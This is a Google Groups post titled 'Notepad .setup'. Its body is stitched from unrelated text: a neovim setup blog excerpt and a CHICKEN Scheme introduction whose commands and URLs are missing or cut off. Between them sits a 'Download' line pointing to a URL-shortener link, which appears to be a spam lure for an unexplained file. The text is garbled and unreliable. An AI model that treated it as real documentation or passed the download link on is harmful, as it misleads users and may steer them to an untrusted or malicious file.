Notepad .setup

0 views
Skip to first unread message

Marion Georgi

unread,
Jul 27, 2024, 5:07:45 PM7/27/24
to guanlenslacta

For over 10 years, I coded Java exclusively. Mostly. Then I changed my position from backend dev to DevOps / CloudOps / YamlOps and I felt my tools needed to change too. So I switched to the best editor I've ever used: VS Code. Do be frank, I've used VS Code before but it became my new default. After a couple of months happily using VS Code I switched again. This time to the actual best editor: neovim. I'm not here to talk about why neovim is hands down the best editor if you want to actually own your environment, or understand your IDE but I tell you how I set up mine.

Ask yourself, what do you need for your work? Up until I switched to neovim, I never asked that question myself. I used IntelliJ and VS Code (and notepad++ ofc). I installed some plugins and left the rest as is. If that's fine for you, you do you, but I got the feeling that this isn't the way it should be. An IDE should be exactly what I want it to be. Same is true for your OS too btw. I used to spend quite a lot of time debloating Windows, trying to get WSL to work (i.e. I tried to make WSL take over everything), editing RegEx just to get them overwritten after the next update. It's the worst. The opposite is true for neovim. For the first time, I had complete control of my editor, so I chose the following plugins as I really like a minimalistic setup:

notepad .setup


Downloadhttps://cinurl.com/2zRP4N



That's all of the plugins I use (which is a lie as for lsp functionality a couple more plugins are needed). Of course I played around with some others. nvim-tree, fugitive, a few mini plugins but honestly, start with vanilla neovim and add stuff until you are happy. It's really fun to tinker with your editor! Before we go in: I use Folke's lazy plugin manager so the code snippets are made for that.

After years of using IntelliJ, VS Code and eclipse I have to say: neovim is the best editor there is. It's fast, it's customizable and it's fun to use. I'm not saying that you should switch to neovim, but ... no, you should switch. You won't regret it.

This session will inform interested programmers about the infrastructure and motivations that drive the CHICKEN scheme republic and the people behind it. The major goal is to get you ready for programming in scheme today, so you can implement your great idea for a program in a nice programming language. After this talk you should be able to find your way on your own, know who you can ask for help and how to operate the tools that come with the CHICKEN scheme system.

Depending on your operating system you may choose your distribution's package system to install CHICKEN or build it yourself from source. Please do use the latest release version. If your distribution's package is too old you can nag the package maintainer to update and build your own in the meantime.

The CHICKEN core system is held in a git repository at -cc.org The latest major release is 4.8.0. Please use this first. There are development snapshots up to 4.7.2 if you want to try or need new features not already in the latest release. The code website offers tarballs for each. The CHICKEN system requires GNU make as a build dependency as well as a recent C compiler. Compilation works on all major free OSes like GNU/Linux, *BSD, Haiku, as well as Mac OS X, Windows and Solaris. So to install the 4.8.0 release on a linux box download the tarball:

Other supported platforms are: bsd, cross-linux-mingw, cygwin, haiku, linux, macosx, mingw, mingw-msys, and solaris. This will build and install CHICKEN in the default prefix "/usr/local". If you want to use a custom path for your installation provide a PREFIX parameter to both make calls.

The stability branch series is a fork of the CHICKEN Scheme core which backports certain useful bugfixes and minor features from the future to "stable" maintenance versions. You can install a stability from either source tarball or a git checkout. Please have a look at stability to get further information.

Development snapshots differ from release tarballs in one significant way: They do not include bootstrapping code and require a pre-installed CHICKEN to build. So you need to install the latest release first and add the additional steps when building the snapshot:

As you can see you can refer to results from an earlier command by using its history number prefixed with a pound sign (#). To leave the interpreter type ",q". To see a list of available special commands type ,?.

The real strength of CHICKEN is its compiler. Your code will run faster and some more advanced features like calling C functions of other libraries in your scheme code are available during compilation only. For everyday usage you will use the CHICKEN scheme compiler driver mostly. Suppose we want to compile our reverse script from above:

csc will generate a binary that has the same name as your scheme file without the .scm extension. Note that this extension is not enforced by the compiler but has been used by most schemers in the past. The resulting binary will be dynamically linked to the CHICKEN runtime library. In a more complex example you may need to add additional libraries for the linker yourself, for example external libraries that you use, like SDL, libexif, etc. Building static binaries is still possible but officially not recommended anymore. For starters ignore static compilation. If you want to distribute your binary as a standalone application without the need of CHICKEN installed there is the possibility of putting all the eggs in one basket, by the use of the -deploy option (more on this below).

The simple example above is of course not at all that simple. There is a lot of work going on under the hood. Reading everything from a port, then reversing this string. If you already know scheme and the scheme standard you might have noticed that these procedures are not part of R5RS, the scheme standard CHICKEN is based on. To meet the goal of being a practical scheme environment CHICKEN ships with extensions included in the core distribution. These extensions are called units for historical reasons and are covered by the CHICKEN Manual. They include these topics:

As those are so commonly used in scheme programming they are part of the core distribution. Extensions not shipped with the core system are called "eggs". Those can be installed with the chicken-install program. If we need a sha1-sum in our application for example we just install the "simple-sha1" egg:

This will need a working internet connection and download the extension and its scheme dependencies from call-cc.org or a mirror. After that the extension is compiled and placed in your PREFIX, ready to be used. To be able to use the procedures exported by an egg just place (use egg-name) in your program. If we now want to calculate a sha-1 has from all input read instead of reversing it, change or script like this:

CHICKEN scheme is documented in mainly two places, one offline and one online: The manual and the wiki. The manual is part of every release tarball and installs HTML versions of the wiki pages locally in $PREFIX/share/chicken/doc/manual/. Point your browser to the index.html file in this directory to get started. The manual is also available online in the CHICKEN wiki. The wiki resides at -cc.org with the manual being available at -cc.org/manual The manual covers the usage of the core binaries, the deviations and extensions to the R5RS standard and the documentation of the core units.

The wiki also includes documentation for eggs. All eggs are supposed to host their api description there. Also there is a list of available eggs in the egg index at: -cc.org/egg-index Note that the wiki can be edited by anyone including yourself. Feel free to reword unclear passages or correct spelling errors as you encounter them. The wiki is backed by svn so do not be afraid of breaking anything. Since it is svn you can also do a checkout of the whole wiki and edit it locally in your favourite text editor:

The wiki's search function is currently not optimised for searching for suitable procedures. For identifier searches use the chickadee. Chickadee is reachable at -cc.org and supports identifier searching as well as regexp searching. Both chickadee and the wiki search the manual as well as egg documentation.

After this you can query chicken-doc for procedures as well as whole module documentation. Calling chicken-doc without arguments will list all possible options as well as usage examples. For our simple-sha1 example we can ask chicken-doc about anything that contains "sha1" in its name:

CHICKEN scheme uses trac as its bug tracker. It can be reached at -cc.org. Currently filing a new ticket requires getting a trac account, which we will do happily upon request. Please follow the instructions on -cc.org/contribute to get one.

Searched through the manual, wiki, bugs, and chickadee without finding an answer to your question? Then it might be time to ask a human. Chickenistas can be found online on IRC in #chicken on freenode or if you want to reach more people and have an archived form of your question you can post to one of the mailing lists. These are:

Up to now you should be able to find your way around and write simple scripts. There are a couple of hints and tricks scattered throughout the CHICKEN village that try to make programming in CHICKEN scheme even more pleasant. The most requested things are collected here.

People in #chicken usually do not engage in the editor wars. Be it notepad, vim, nano or emacs you should choose the one that floats your boat. There are bindings for vim and emacs available that enable auto completion of identifiers, easy integration of the REPL and basic compilation support. As emacs is more popular among schemers the support here is a bit better but in the end it does not matter much. If you are coming from Common Lisp you might enjoy the SLIME egg that provides a SWANK backend for the famous Lisp mode. Another common caveat for new users is the missing line editing support for csi. Here you can either install bindings for readline, linenoise or parley to get line editing support. The installation procedures are covered in the documentation for those eggs.

64591212e2
Reply all
Reply to author
Forward
0 new messages